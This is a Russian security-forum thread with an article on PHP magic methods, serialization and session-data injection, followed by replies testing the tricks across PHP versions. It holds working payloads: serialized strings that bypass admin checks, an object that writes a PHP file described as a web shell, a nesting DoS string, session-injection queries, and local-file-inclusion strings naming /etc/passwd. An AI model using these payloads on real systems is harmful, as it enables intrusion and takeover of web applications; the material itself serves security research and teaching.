Вернуться   RDot > RDot.org > Статьи/Articles

Ответ
 
Опции темы Опции просмотра
Старый 02.12.2010, 19:30   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию Магические методы, сериализация, инъекции в сессию и все-все-все

==[-1]== Введение
Изначально писал для себя, как небольшой сборник полезных идей, в итоге вылилось вот в такую статью. Особого опыта в написании публикаций у меня нет, так что ногами не пинать, я старался
Перед переходом к практическим примерам рассмотрим теоретически основы используемых функций.
==[0]== Магические методы
__construct
Выполняется при каждом создании экземпляра объекта. Если PHP не может обнаружить объявленный метод __construct(), вызов конструктора произойдет по прежней схеме, через обращение к методу, имя которого соответствует имени класса.
__destruct
Выполняется при удалении всех ссылок на объект, при явном удалении объекта или по завершению работы. (При этом стоит обратить внимание вот на эту тему https://rdot.org/forum/showthread.php?t=791)
__call
Выполняется при вызове несуществующего в классе метода.
__callStatic (PHP 5.3.0)
Выполняется при вызове несуществующего в классе метода в статическом контексте.
__get
Получение значения несуществующего (либо недоступного из-за модификатора private/protected) свойства объекта.
__set
Установка значения несуществующего или недоступного свойства объекта.
__isset (PHP 5.1.0)
Выполняется при проверке с помощью isset() или empty() несуществующего или недоступного свойства объекта.
__unset (PHP 5.1.0)
Выполняется, когда функция unset() применяется на несуществующее или недоступное свойство объекта.
__sleep
Выполняется внутри функции serialize и определяет какие члены объекта необходимо сохранить.
__wakeup
Выполняется при десериализации.
__toString
В PHP меньше 5.2.0 выполняется только в комбинации с echo() или print().
Начиная с PHP 5.2.0 выполняется в любом строковом контексте.
__invoke (PHP 5.3.0)
Выполняется, когда скрипт пытается вызвать объект, как функцию.
__set_state (PHP 5.1.0)
Этот статический метод вызывается для тех классов, которые экспортируются функцией var_export()
__clone
Метод выполняется при клонировании объекта с помощью clone.
==[1]== Сериализация / десериализация
Сериализация — процесс перевода какой-либо структуры данных в последовательность битов.
Обратной к операции сериализации является операция десериализации — восстановление начального состояния структуры данных из битовой последовательности.

Рассмотрим, как выглядят данные в сериализованном виде

null
Код:
N;
boolean
Код:
b:1;
[тип]:[значение];
integer
Код:
i:66;
[тип]:[значение];
float / double
Код:
d:1.2339;
d:NAN;
d:-INF;
[тип]:[значение];
string
Код:
s:3:"ABC";
[тип]:[длинна_строки]:[значение];
String
Код:
S:3:"A\FFC";
[тип]:[длинна_строки]:[значение];
Отличае S от s в том, что при S символы можно задавать в виде \XX (X == [0-9a-fA-F])

array
Код:
a:1:{...};
[тип]:[количество_элементов]:{[индекс];[элемент];}
Индекс может быть строкой или целым числом. Если указать несколько одинаковых индексов, то, соответственно, запишется последний.

object (stdClass)
Код:
o:1:"i:0;s:3:"ABC";}
[тип]:[количество_элементов]:"[индекс];[значение];}
Object
Код:
O:9:"testClass":3:{}
[тип]:[длина_названия]:[название]:[количество_полей]:{[название_поля];[значение];}
На полях объекта нужно остановиться отдельно, так как формат записи меняется в зависимости от модификатора доступа.

Пример
PHP код:
class {
   private 
$var2 'v2';
}

class 
extends {
   public 
$var4 'v4';
   private 
$var5 'v5';
   protected 
$var6 'v7';   
}

echo 
serialize(new b()); 
Код:
O:1:"b":4:{s:4:"var4";s:2:"v4";s:7:"\0b\0var5";s:2:"v5";s:7:"\0*\0var6";s:2:"v7";s:7:"\0a\0var2";s:2:"v2";}
Особенность в том, что private поле записывается с указанием названия класса обрамленного нулл-байтами, а protected начинается с "\0*\0".

Сериализуемый Class (реализует интерфейс Serializable)
Код:
C:9:"testClass":4:{i:1;}
[тип]:[длина_названия]:[название]:[длина_сериализованных_данных]:{[сериализованные_данные]}
В результате десериализации такого класса произойдет вызов функции unserialize, которую класс должен реализовывать.

Копирование элемента
Код:
r:2;
Ссылка на элемент
Код:
R:2;
Нумеруются они примерно так:


И пример, показывающий отличие r от R:
PHP код:
$a unserialize('a:2:{i:0;i:666;i:1;r:2;}');

var_dump($a); //array(2) { [0]=> int(666) [1]=> int(666) }
$a[0] = 999;

var_dump($a); //array(2) { [0]=> int(999) [1]=> int(666) }

$a unserialize('a:2:{i:0;i:666;i:1;R:2;}');

var_dump($a); //array(2) { [0]=> &int(666) [1]=> &int(666) } 
$a[0] = 999;

var_dump($a); //array(2) { [0]=> &int(999) [1]=> &int(999) } 

Рассмотрим несколько примеров использования десериализации в своих целях от Эссера
1) DoS

Код:
a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:...
Ну здесь какие-либо комментарии излишни

2)
PHP код:
$data unserialize($autologin);
if (
$data['username'] == $adminName && $data['password'] == $adminPassword) {
    
$admin true;
} else {
    
$admin false;

В PHP существует 2 типа сравнения: Identical (===) и Equal (==).
Identical возвращает TRUE, если переменные эквивалентны и имеют одинаковый тип, а Equal - достаточно просто эвивалентности.
При сравнении переменных различных типов руководствуемся этой таблицей: http://www.php.net/manual/en/types.comparisons.php
Соответственно, поместив в $data['username'] и $data['password'] boolean(true), либо integer(0) условие выполнится и мы станем админом.

Эксплуатация:
Код:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
a:2:{s:8:"username";i:0;s:8:"password";i:0;}
3) Пример из статьи "PHP и волшебные методы: сериализация PHP-объектов глазами хакера"
PHP код:
class testClass
{
  protected 
$log_file='log'//файл логов
  
private $path './'//путь к файлу логов
  
var $log_dump//содержимое лога

  
function __destruct() 
  {
    
$f fopen($this->path.$this->log_file.'.txt','w');
    
fwrite($f,$this->log_dump);
    
fclose($f);
  }
}


$test = new testClass();
$test->log_dump time();
unset(
$test);


unserialize($_GET['c']); 
Отправив на десериализацию такой объект testClass
Код:
O:9:"testClass":3:{s:11:"\0*\0log_file";s:9:"evil.php\0";s:15:"\0testClass\0path";s:2:"./";s:8:"log_dump";s:16:"<? phpinfo(); ?>";}
Мы получим выполнение методов __wakeup и __destruct с нашими переопределенными полями (log_file = evil.php\0, log_dump = <? phpinfo(); ?>).
Ну и исходя из кода, мы, вместо безобидного лога, можем создать веб-шелл.
==[2]== Сессии
Итак, пришло время перейти к самой интересной части статьи, а именно к инъекциям в сессию.
И снова нужно немного теории, рассмотрим, что представляют из себя файлы сессии.
Код:
test|s:3:"aaa";lol|b:1;
Все довольно примитивно, массив записывается в виде
Код:
[индекс][разделитель_"|"][сериализованное_значение]
Если в индексе присутствует разделитель "|", то файл сессии обнуляется.
Но если покопаться в исходном коде php, то можно найти еще один вариант записи для "неопределенных" переменных:
Код:
[!][индекс][разделитель_"|"]
Причем наличие символа "!" в индексе не проверяется при записи сессии в файл!
На этом и основана уязвимость, найденная Стефаном Эссером "PHP Session Serializer Session Data Injection Vulnerability"
Уязвимые версии:
PHP 5.2 <= 5.2.13
PHP 5.3 <= 5.3.2

Допустим, мы имеем следующий код:
PHP код:
session_start();
$_SESSION[$_GET['prefix'] . 'blah'] = $_GET['data']; 
Обратившись к скрипту ?prefix=!&data=|xxx|b:1; в файле сессии мы получим следующее:
Код:
!blah|s:9:"|xxx|b:1;";
При считывании из сессии эта запись будет интерпретирована как:
1) неопределенная переменная blah
2) косячная переменная s:9:" без значения
3) переменная xxx с нужным нам содержимым
4) и в конце символы ";, которые не считаются

Причем мы можем не только определять нужные нам переменные сессии, но и использовать все возможности десериализации, описанные выше.
Необходимо заметить, что если внести в сессию объект, то при каждом обновлении страницы у нас будет происходить чтение сессии из файла (выполнение __wakeup для объекта) и в конце запись этого объекта назад в файл (выполнение __sleep и __destruct).

Так же, при register_globals = On можно занести в сессию значение любой переменной!
PHP код:
$cfg['password']="my super password";
session_start(); 
if(isset(
$_GET['prefix']))
$_SESSION[$_GET['prefix']]=$_GET['data']; 
Запрос:
Код:
test.php?prefix=!&data=|cfg|
В результате, после обновления страницы, в файле сессии мы получим следущее:
Код:
cfg|a:1:{s:8:"password";s:17:"my super password";}
Либо, можно использовать даже такой код:
PHP код:
$_SESSION[$_GET['prefix']] = "ololo"
Обратившись таким образом, мы опять же получим значение переменной в сессии
Код:
test.php?prefix=!_SERVER
Так как в файл сессии запишется
Код:
!_SERVER|s:5:"ololo";
И при считывании s:5:"ololo"; отбросится и в нашу сессию запишется значение массива _SERVER

Плюс ко всему прочему, возможна перезапись переменных через сессии (опять же при register_globals = On). Примеры аналогичны предыдущим, только с указанием значения переменных.
PHP код:
$_SESSION[$_GET['prefix']]=$_GET['data'];
echo 
$_SERVER['REMOTE_ADDR']; 
Варианты запроса для перезаписи:
Код:
test.php?prefix=_SERVER&data[REMOTE_ADDR]=omgwtf
test.php?prefix=!&data=|_SERVER|a:1:{s:11:"REMOTE_ADDR";s:6:"omgwtf";}
При этом не стоит забывать, что перезаписывается весь массив _SERVER

Еще вариант попадания данных в сессию от Эссера
PHP код:
$_SESSION array_merge($_SESSION$_POST); 
Так же не стоит забывать, что если мы имеем перезапись переменных, стоящую после session_start();
Пример:
PHP код:
session_start();
...
foreach (
$_POST as $k => $v) {  
    $
$k $v;

То перезаписав массив _SESSION мы опять же можем использовать все возможности десериализации и инъекций в сессию.
==[3]== Еще немного магии
Так как при объектно-ориентированном программировании для каждого класса создается отдельный php файл, в начале каждого скрипта приходится писать огромные листинги с инклюдом всех используемых классов. Дабы избавить программистов от этого, в php есть функция __autoload, которая автоматически вызывается при работе с необъявленным классом, ну и в соответствии с названием, ее цель подгрузить нужный нам класс.
Рассмотрим пример из документации:
PHP код:
function __autoload($class_name) {
    require_once 
$class_name '.php';

Если мы можем переопределить любую переменную, которая используется в функции в качестве названия класса, то в зависимости от реализации __autoload у нас получится LFI или RFI
Код:
call_user_func(array("../../../etc/passwd\0","test"));
get_parent_class("http://google.ru\0");
В этом примере очень хотелось прикрутить десериализацию объекта с названием "../../../etc/passwd", но, к сожалению, он получился не рабочим, так как при десериализации проверяются валидные символы в названии класса:
Код:
len3 = strspn(class_name, "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\177\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\");
if (len3 != len)
{
       *p = YYCURSOR + len3 - len;
       return 0;
}
Но, тем не менее, мы можем заинклюдить файл из той же папки, что и наш скрипт.
Код:
unserialize('O:4:"test":0:{};"');
Warning: require_once(test.php) [function.require-once]: failed to open stream
==[4]== Спасибки
Stefan Esser, M4g, d0znpp

За основу была взята статья "PHP и волшебные методы: сериализация PHP-объектов глазами хакера"

Последний раз редактировалось BlackFan; 04.04.2012 в 08:26..
BlackFan вне форума   Ответить с цитированием
Старый 07.12.2010, 20:26   #2
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 323
Репутация: 138
По умолчанию

Цитата:
Так же не стоит забывать, что если мы имеем перезапись переменных, стоящую после session_start();
Пример:
PHP код:
session_start();
...
foreach (
$_POST as $k => $v) {  
    $
$k $v;

То перезаписав массив _SESSION мы опять же можем использовать все возможности десериализации и инъекций в сессию.
Если я правильно понял идею, то тогда она ошибочна:
Цитата:
Note: Variable variables

Superglobals cannot be used as variable variables inside functions or class methods.
http://ru.php.net/manual/en/language.variables.superglobals.php
PHP код:
session_start();
$var '_SESSION';
$
$var = array ('a' => 'b');
var_dump($_SESSION); 
Код:
array(0) {
}
UPD: я невнимателен =/
Цитата:
inside functions or class methods.
У меня не работало, так как я это делал не в чистом скрипте, а выполнял в шелле.
__________________
Не оказываю никаких услуг.
I don't provide any services.

Последний раз редактировалось oRb; 16.05.2011 в 17:54..
oRb вне форума   Ответить с цитированием
Старый 07.12.2010, 20:31   #3
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Цитата:
Сообщение от oRb Посмотреть сообщение
Если я правильно понял идею, то тогда она ошибочна:

http://ru.php.net/manual/en/language.variables.superglobals.php
PHP код:
session_start();
$var '_SESSION';
$
$var = array ('a' => 'b');
var_dump($_SESSION); 
Код:
array(0) {
}
Хм..
Код:
array(1) { ["a"]=> string(1) "b" }
и при rg = on и off
windows, PHP 5.3.1
BlackFan вне форума   Ответить с цитированием
Старый 08.12.2010, 11:45   #4
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 323
Репутация: 138
По умолчанию

Несколько тестов:
windows 5.2.8 - работает
ubuntu 5.3.2 (Suhosin Patch 0.9.9.1) - нет
ubuntu 5.2.6 (Suhosin Patch 0.9.6.2) - нет
debian 5.2.6-1+lenny9 (Suhosin Patch 0.9.6.2) - работает
debian 5.2.6-1+lenny8 (Suhosin Patch 0.9.6.2) - нет

Как такое может быть, я пока не знаю. Буду разбираться.
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 08.12.2010, 13:28   #5
Beched
 
Регистрация: 06.07.2010
Сообщений: 370
Репутация: 116
По умолчанию

5.3.2, Ubuntu, Suhosin Patch 0.9.9.1 -- работает.
4.4.9, FreeBSD -- работает
Beched вне форума   Ответить с цитированием
Старый 03.01.2011, 00:21   #6
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Небольшое дополнение по autoload + unserialize...
Совсем забыл, что на windows обратный слэш можно использовать в пути...

В итоге

PHP код:
    function __autoload($s) {
        include 
$s.".php";
    }
    
unserialize('O:23:"\home\test2\www\phpinfo":0:{};'); 
Вполне корректно заинклюдит phpinfo.php. (Но точку или двоеточие использовать нельзя)
BlackFan вне форума   Ответить с цитированием
Старый 05.02.2011, 10:21   #7
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Все нижеперечисленное - просто мысли вслух...

Возникла необходимости протащить через unserialize одновременно и валидную строку и десериализовать объект.

Первое что пришло в голову - обернуть в массив, но это естественно не пойдет и вместо строки мы получим Array

PHP код:
echo unserialize('a:2:{i:0;s:4:"test";O:5:"class":0:{}}'); 
Result:
Код:
Array
Следущая мысль - использовать магические методы... Допустим мы имеем такую ситуацию.

PHP код:
    class c1 //Класс который нужно десериализовать
        
function __destruct() {
            
//Важный код
        
}
    }
    
    class 
c2 //Дополнительный класс который используем, чтобы вернуть строку
        
var $str;
        function 
__toString() {
            return 
$str;
        }
    }

    echo 
unserialize('O:2:"c2":2:{s:3:"str";s:9:"fuck yeah";s:1:"1";O:2:"c1":0:{}}'); 
Result:
Код:
fuck yeah
Тут мы используем __toString чтобы вернуть строку и как бы невзначай еще в полях класса десериализуем нужный нам класс.
Соответственно следущей мыслью было найти такой метод в стандартных классах.
К сожалению пересмотрев кучу классов нужного не нашел...
Есть нечто подобное в SplFileObject и SplFileInfo

PHP код:
$test = new SplFileInfo("test/test");
echo 
var_dump($test)."<br>\n";
echo 
$test."<br>\n"
Result
Код:
object(SplFileInfo)#1 (2) { ["pathName":"SplFileInfo":private]=> string(9) "test/test" ["fileName":"SplFileInfo":private]=> string(4) "test" } 
test/test
Но
Код:
Serialization of 'SplFileInfo' is not allowed
И при десериализации pathName, который возвращается в __toString, равен "" как ни крутил...

Единственное, что извлек из всего этого полезное - это FPD в __toString для Exception при любых условиях
PHP код:
error_reporting(0);
echo 
unserialize('O:9:"Exception":0:{}'); 
Result
Код:
exception 'Exception' in /blah/blah/blah/unserialize_test.php:56 Stack trace: #0 /blah/blah/blah/unserialize_test.php(56): unserialize('O:9:"Exception"...') #1 {main}
BlackFan вне форума   Ответить с цитированием
Старый 12.08.2011, 22:50   #8
Pr0xor
 
Регистрация: 27.08.2010
Сообщений: 158
Репутация: 69
По умолчанию

Цитата:
Сообщение от BlackFan Посмотреть сообщение

В этом примере очень хотелось прикрутить десериализацию объекта с названием "../../../etc/passwd", но, к сожалению, он получился не рабочим, так как при десериализации проверяются валидные символы в названии класса:
Код:
len3 = strspn(class_name, "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\177\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\");
if (len3 != len)
{
       *p = YYCURSOR + len3 - len;
       return 0;
}
Но, тем не менее, мы можем заинклюдить файл из той же папки, что и наш скрипт.
Код:
unserialize('O:4:"test":0:{};"');
Warning: require_once(test.php) [function.require-once]: failed to open stream
Если есть возможность поиграться с параметрами в set_include_path, то файлы можно через ансериализе
из любой диры инклюдить....
Pr0xor вне форума   Ответить с цитированием
Старый 04.09.2011, 14:42   #9
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 485
Репутация: 252
По умолчанию

Так каков полный список магических методов, вызывающихся при unserialize?
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 01.12.2011, 23:20   #10
Pr0xor
 
Регистрация: 27.08.2010
Сообщений: 158
Репутация: 69
По умолчанию

Вот кстати https://bugs.php.net/bug.php?id=55475
совсем недавно пофиксили
но на некоторых 5.3.8 работало....

тестил еще на 5.2.х
не работало
Pr0xor вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd. Перевод: zCarot